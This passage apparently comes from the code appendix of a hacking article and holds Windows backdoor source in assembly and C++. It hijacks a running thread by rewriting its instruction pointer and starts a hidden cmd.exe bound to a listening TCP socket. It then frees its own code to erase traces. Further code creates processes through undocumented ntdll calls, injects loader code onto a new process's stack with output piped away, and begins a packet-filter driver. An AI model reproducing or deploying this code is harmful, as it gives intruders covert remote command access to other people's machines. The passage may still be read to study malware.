laa edi, CLID_here
push edi
assume edi:ptr OBJECT_ATTRIBUTES
lea edi,attr
cld
mov ecx,SIZE OBJECT_ATTRIBUTES
xor eax,eax
rep stosb
lea edi,attr
mov[edi].Length,SIZE OBJECT_ATTRIBUTES
push edi
push THREAD_ALL_ACCESS
lea edi,hThread
push edi
IFDEF DEBUG
int 3
ENDIF
call _ZwOpenThread
lea edi, cxt
assume edi:ptr CONTEXT
mov [edi].cx_ContextFlags,CONTEXT_FULL
xor ebx,ebx
mov eax,hThread
;there is a thread handle in EAX
;push at once for call many following functions
push edi ; _SetThreadContext
push eax
;-)
push eax ; _ZwAlertThread
;-)
push edi ; _SetThreadContext
push eax
;-)
push edi ; _GetThreadContext
push eax
call _GetThreadContext
mov eax,[edi].cx_Eip
mov save_eip,eax
laa eax, new_thread
mov [edi].cx_Eip, eax
;Self-modify code
;Save EBP to copy current stack in each new thread
laa eax, ebp_value_here
mov [eax],ebp
laa eax, ebp1_value_here
mov [eax],ebp
;Write addres of flag, that informs of "create main thread" completion
laa eax, flag_addr_here
lea ebx,flag
mov [eax],ebx
mov flag,0
call _SetThreadContext
;If thread in wait state, it will not run until it (wait) ends or alerted
call _ZwAlertThread
;not works if wait is nonalertable
;Wait for main thread creation
check_flag:
call _Sleep,10
cmp flag,1
jnz check_flag
;Restore EIP of interupted thread
mov eax, save_eip
mov [edi].cx_Eip, eax
call _SetThreadContext
push 0
call _ExitThread
; --- This code executes in interrupted thread and creates main thread ---
new_thread:
IFDEF DEBUG
int 3
ENDIF
ebp1_value_here_2:
mov ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor eax,eax
push eax
push eax
push eax
laa ebx, remote_shell
push ebx
push eax
push eax
call _CreateThread
;call _Sleep,INFINITE
jmp $
remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov ecx,SizeOfLocals
sub esi,ecx
mov edi,esp
sub edi,ecx
cld
rep movsb
mov ebp,esp
sub esp,SizeOfLocals
flag_addr_here_2:
mov eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov DWORD PTR [eax],1
;Load WinSock
laa eax,szWSOCK32
call _LoadLibrary,eax
or eax, eax
jz quit
;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek :)
lea ebx,WS2_32FunctionsTable
push ebx
laa ebx,WS2_32StringTable
push ebx
push eax
call GetDllBaseAndLoadFunctions
;--- telnet server
lea eax,wsadat
push eax
push 0101h
call _WSAStartup
xor ebx,ebx
;socket does not suit here!
call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx
mov sock,eax
mov addr.sin_family,AF_INET
mov addr.sin_port,0088h
mov addr.sin_addr,INADDR_ANY
;Look for unused port from 34816 and bind to it
retry_bind:
lea ebx,addr
call _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND
or eax, eax
jz l_listen
lea edx,addr.sin_port+1
inc byte ptr[edx]
cmp byte ptr[edx],0
;All ports busy...
jz quit
jmp retry_bind
ENDIF
l_listen:
call _listen,sock,1
or eax, eax
jnz quit
ShellCycle:
mov sizeofaddr,SIZE sockaddr_in
lea eax,sizeofaddr
push eax
lea eax, addr
push eax
push sock
call _accept
mov sock2, eax
RunCmd:
;int 3
;Zero StartInf
cld
lea edi,StartInf
xor eax,eax
mov ecx,SIZE STARTUPINFO
rep stosb
;Fill StartInf. Shell will be bound to socket
mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov eax, sock2
mov StartInf.hStdOutput,eax
mov StartInf.hStdError,eax
mov StartInf.hStdInput,eax
mov StartInf.cb,SIZE STARTUPINFO
;Start shell
xor ebx,ebx
lea eax,ProcInf
push eax
lea eax,StartInf
push eax
push ebx
push ebx
push CREATE_NO_WINDOW
push 1
push ebx
push ebx
laa eax,CmdLine
push eax
push ebx
call _CreateProcessA
;To avoid hanging sessions
call _closesocket,sock2
IFDEF MULTIPLE_CONNECT
jmp ShellCycle
ENDIF
quit:
call _closesocket,sock
call _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push MEM_RELEASE
xor ebx,ebx
push ebx
push OFFSET Start
push ebx
push _ExitThread
jmp _VirtualFree
main endp
; ------ ROUTINES ------
; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD
;----------------------------------------------
local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD
; install SEH frame
laaa eax, KernelSearchSehHandler
push eax
push fs:dword ptr[0]
mov SEH.OrgEsp, esp
laaa eax, ExceptCont
mov SEH.SaveEip, eax
mov fs:dword ptr[0], esp
; start the search
mov edi, dwSearchStartAddr
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if dword ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
ExceptCont:
sub edi, 010000h
.endw
mov dwDllBase,edi
mov PEHeader,esi
LoadFunctions:
; get the string length of the target Api
mov edi, FuncNamesTable
mov ecx, MAX_API_STRING_LENGTH
xor al, al
repnz scasb
mov FuncNameEnd,edi
mov ecx, edi
sub ecx, FuncNamesTable ; ECX -> Api string length
; trace the export table
mov edx, [esi+078h] ; EDX -> Export table
add edx, dwDllBase
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer
add ebx, dwDllBase
xor eax, eax ; eax AddressOfNames Index
.repeat
mov edi, [ebx]
add edi, dwDllBase
mov esi, FuncNamesTable
push ecx ; save the api string length
repz cmpsb
.if zero?
add esp, 4
.break
.endif
pop ecx
add ebx, 4
inc eax
.until eax == [edx].NumberOfNames
; did we found sth ?
.if eax == [edx].NumberOfNames
jmp ExceptContinue
.endif
; find the corresponding Ordinal
mov esi, [edx].AddressOfNameOrdinals
add esi, dwDllBase
shl eax, 1
add eax, esi
movzx eax,word ptr [eax]
; get the address of the api
mov edi, [edx].AddressOfFunctions
shl eax, 2
add eax, dwDllBase
add eax, edi
mov eax, [eax]
add eax, dwDllBase
mov ecx,FuncNameEnd
mov FuncNamesTable,ecx
mov ebx,FuncPtrsTable
mov DWORD PTR [ebx],eax
mov esi,PEHeader
cmp BYTE PTR [ecx],0
jnz LoadFunctions
Quit:
; shutdown seh frame
pop fs:dword ptr[0]
add esp, 4
ret
ExceptContinue:
mov edi, dwDllBase
jmp ExceptCont
GetDllBaseAndLoadFunctions endp
KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov eax, pContext
assume eax:ptr CONTEXT
sub dword ptr [eax].cx_Edi,010000h
mov eax, 0 ;ExceptionContinueExecution
ret
KernelSearchSehHandler ENDP
KERNEL32StringTable:
szCreateThread db "CreateThread",0
szGetThreadContext db "GetThreadContext",0
szSetThreadContext db "SetThreadContext",0
szExitThread db "ExitThread",0
szLoadLibrary db "LoadLibraryA",0
szCreateProcessA db "CreateProcessA",0
szSleep db "Sleep",0
szVirtualFree db "VirtualFree",0
db 0
szWSOCK32 db "WS2_32.DLL",0
WS2_32StringTable:
szsocket db "WSASocketA",0
szbind db "bind",0
szlisten db "listen",0
szaccept db "accept",0
szWSAStartup db "WSAStartup",0
szclosesocket db "closesocket",0
szWSACleanup db "WSACleanup",0
db 0
NTDLLStringTable:
szZwOpenThread db "ZwOpenThread",0
szZwAlertThread db "ZwAlertThread",0
db 0
CmdLine db "cmd.exe",0
ALIGN 4
CLID_here CLIENT_ID <0>
;----------------------------------------------
EndFile:
end Start
----[ 8.4 - NebbetCreateProcess.cpp
#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}
namespace NT {
typedef struct _CSRSS_MESSAGE{
ULONG Unknwon1;
ULONG Opcode;
ULONG Status;
ULONG Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;
}
DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)
//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
static PVOID pNTDLL;
if (!pNTDLL)
{
pNTDLL=FindNT();
DYNAMIC_LOAD2(CsrClientCallServer)
DYNAMIC_LOAD2(RtlDestroyProcessParameters)
DYNAMIC_LOAD2(ZwWriteVirtualMemory)
DYNAMIC_LOAD2(ZwResumeThread)
DYNAMIC_LOAD2(ZwCreateThread)
DYNAMIC_LOAD2(ZwProtectVirtualMemory)
DYNAMIC_LOAD2(ZwCreateProcess)
DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
DYNAMIC_LOAD2(ZwReadVirtualMemory)
DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
DYNAMIC_LOAD2(LdrGetDllHandle)
}
}
//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
// _asm int 3;
struct CSRSS_MESSAGE {
ULONG Unknown1;
ULONG Opcode;
ULONG Status;
ULONG Unknown2;
};
struct {
NT::PORT_MESSAGE PortMessage;
CSRSS_MESSAGE CsrssMessage;
PROCESS_INFORMATION ProcessInformation;
NT::CLIENT_ID Debugger;
ULONG CreationFlags;
ULONG VdmInfo[2];
} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};
CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}
//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
PVOID p=0;
DWORD dummy=0;
DWORD n=sizeof(dummy);
DWORD m;
m=n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
return PWSTR(p);
}
// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,
NT::PUNICODE_STRING ImageFile,
NT::PUNICODE_STRING DllPath,
NT::PUNICODE_STRING CurrentDirectory,
NT::PUNICODE_STRING CommandLine,
ULONG CreationFlag,
NT::PUNICODE_STRING WindowTitle,
NT::PUNICODE_STRING Desktop,
NT::PUNICODE_STRING Reserved,
NT::PUNICODE_STRING Reserved2){
NT::PROCESS_PARAMETERS* lpp;
ULONG Size=sizeof(NT::PROCESS_PARAMETERS);
if(ImageFile) Size+=ImageFile->MaximumLength;
if(DllPath) Size+=DllPath->MaximumLength;
if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
if(CommandLine) Size+=CommandLine->MaximumLength;
if(WindowTitle) Size+=WindowTitle->MaximumLength;
if(Desktop) Size+=Desktop->MaximumLength;
if(Reserved) Size+=Reserved->MaximumLength;
if(Reserved2) Size+=Reserved2->MaximumLength;
//Allocate the buffer..
*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size);
lpp=*pp;
RtlZeroMemory(lpp,Size);
lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
lpp->hStdInput=0;
lpp->hStdOutput=0;
lpp->hStdError=0;
if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirectory->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength;
}
if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength;
}
if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength;
}
if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength;
}
if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength;
}
if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength;
}
if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength;
}
/* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength;
}*/
}
VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
NT::PPROCESS_PARAMETERS pp;
NT::UNICODE_STRING CurrentDirectory;
NT::UNICODE_STRING DllPath;
NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");
RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);
pp->hStdInput=hPipe;
pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;
pp->Environment = InitEnvironment(hProcess);
ULONG n = pp->Size;
PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);
ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);
RtlDestroyProcessParameters(pp);
}
namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}
NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
//_asm int 3;
SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID};
SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
char daclbuf[PAGE_SIZE];
NT::PACL dacl = (NT::PACL)&daclbuf;
char sdbuf[PAGE_SIZE];
NT::PSECURITY_DESCRIPTOR sd = &sdbuf;
NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(sd, PAGE_SIZE);
status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
if (!NT_SUCCESS(status)) return status;
status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
if (!NT_SUCCESS(status)) return status;
if (!NT::RtlValidSecurityDescriptor(sd)) {
_asm int 3;
}
//To try!
ULONG buflen = PAGE_SIZE*2;
*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}
#define PIPE_NAME_MAX 40*2
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
NT::IO_STATUS_BLOCK iosb;
NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
NT::LARGE_INTEGER nTimeOut;
nTimeOut.QuadPart = (__int64)-1E7;
return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);
}
int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
HANDLE hProcess, hThread, hSection, hFile;
//_asm int 3;
NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
NT::IO_STATUS_BLOCK iosb;
NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
PAGE_EXECUTE, SEC_IMAGE, hFile);
NT::ZwClose(hFile);
ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
NtCurrentProcess(), TRUE, hSection, 0, 0);
NT::SECTION_IMAGE_INFORMATION sii;
NT::ZwQuerySection(hSection, NT::SectionImageInformation,
&sii, sizeof sii, 0);
NT::ZwClose(hSection);
NT::USER_STACK stack = {0};
ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ sii.StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- sii.StackCommit;
/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
n = sii.StackCommit + PAGE_SIZE;
PVOID p = PCHAR(stack.ExpandableStackBase) - n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(sii.EntryPoint);
NT::CLIENT_ID cid;
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
hProcess, &cid, &context, &stack, TRUE);
NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);
InformCsrss(hProcess, hThread,
ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return int(cid.UniqueProcess);
}
int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
NT::UNICODE_STRING ImageFile;
NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
return exec_piped(&ImageFile, PipeName);
}
----[ 8.5 - NebbetCreateProcess.diff
268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
> IN DWORD nStdHandle,
> IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
> IN LPCWSTR lpFileName,
> IN DWORD dwDesiredAccess,
> IN DWORD dwShareMode,
> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition,
> IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
> VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
> wchar_t PipeName[PIPE_NAME_MAX];
> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
> f_SetStdHandle pSetStdHandle;
> f_CreateFileW pCreateFileW;
> f_EntryPoint EntryPoint;
> #ifdef _DEBUG
> f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
> HANDLE hPipe;
>
> __asm int 3;
> hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
> GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL,
> OPEN_EXISTING,
> 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL);
> embedded_data->pGetLastError();
> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
> hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
> GENERIC_WRITE | SYNCHRONIZE,
> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL,
> OPEN_EXISTING,
> 0,
> NULL);
> embedded_data->pGetLastError();
> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE)
> {
> embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
> }
> embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
> s_data2embed data2embed;
> PVOID pKERNEL32;
> NT::UNICODE_STRING ModuleFileName;
>
> _asm int 3;
>
> *pCode = 0;
> *pNewStack = 0;
> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
> LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
> if (!pKERNEL32) return;
> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc(pKERNEL32, "SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pKERNEL32, "CreateFileW");
> #ifdef _DEBUG
> data2embed.pGetLastError=(f_GetLastError)FindFunc(pKERNEL32, "GetLastError");
> #endif
> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreateFileW)) return;
> data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
> wcscpy(data2embed.PipeName, PipeName);
> //wcscpy(data2embed.WPipeName, WPipeName);
> char* p = (char*)pStack - sizeof_code2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
> *pCode = (ULONG)p;
>
> p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>
> PVOID pData = (PVOID)p;
> p -= sizeof pData;
> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
> p -= 4;
> *pNewStack = (ULONG)p;
> }
>
317a434,437
> ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
> if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
< context.Esp = ULONG(stack.ExpandableStackBase) - 4;
< context.Eip = ULONG(sii.EntryPoint);
---
> //loader code is on the stack
> context.Esp = NewStack;
> context.Eip = newEIP;
----[ 8.6 - NtdllDynamicLoader.cpp
#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name
PVOID FindModule(char *module)
{
ULONG n;
//Request necessary size of buffer
NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
&n, 0, &n);
//Allocate memory for n structures
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q));
//Request information about modules
NT::ZwQuerySystemInformation(NT::SystemModuleInformation,
q, n * sizeof *q, 0);
//Module counter located at address q, information begins at q+1
NT::PSYSTEM_MODULE_INFORMATION p
= NT::PSYSTEM_MODULE_INFORMATION(q + 1);
PVOID ntdll = 0;
//Cycle for each module ...
for (ULONG i = 0; i < *q; i++)
{
//...compare it's name with looked for...
if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
module) == 0)
{
//...and stop if module found
ntdll = p[i].Base;
break;
}
}
//Free memory
NT::ExFreePool(q);
return ntdll;
}
PVOID FindNT()
{
return FindModule("ntdll.dll");
}
//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
//At addrress Base there is DOS EXE header
PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
//Extract offset of PE-header from it
PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
//Evaluate pointer to section table,
//according to directory of exported functions
PIMAGE_DATA_DIRECTORY expdir
= nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//Extract address and size of that table
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
//Evaluate pointers:
// - to directory of exported functions
PIMAGE_EXPORT_DIRECTORY exports
= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
// - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals
PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
// - to table of names
PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);
//Cycle through table of names ...
for (ULONG i = 0; i < exports->NumberOfNames; i++) {
//Ordinal that matches name is index in the table of addresses
ULONG ord = ordinals[i];
//Test is the address correct
if (functions[ord] < addr || functions[ord] >= addr + size) {
//If function name matches looked for...
if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
//then return it's address
return PCHAR(Base) + functions[ord];
}
}
//Function not found
return 0;
}
----[ 8.7 - Filtering.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"
NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
}
extern PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
);
NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;
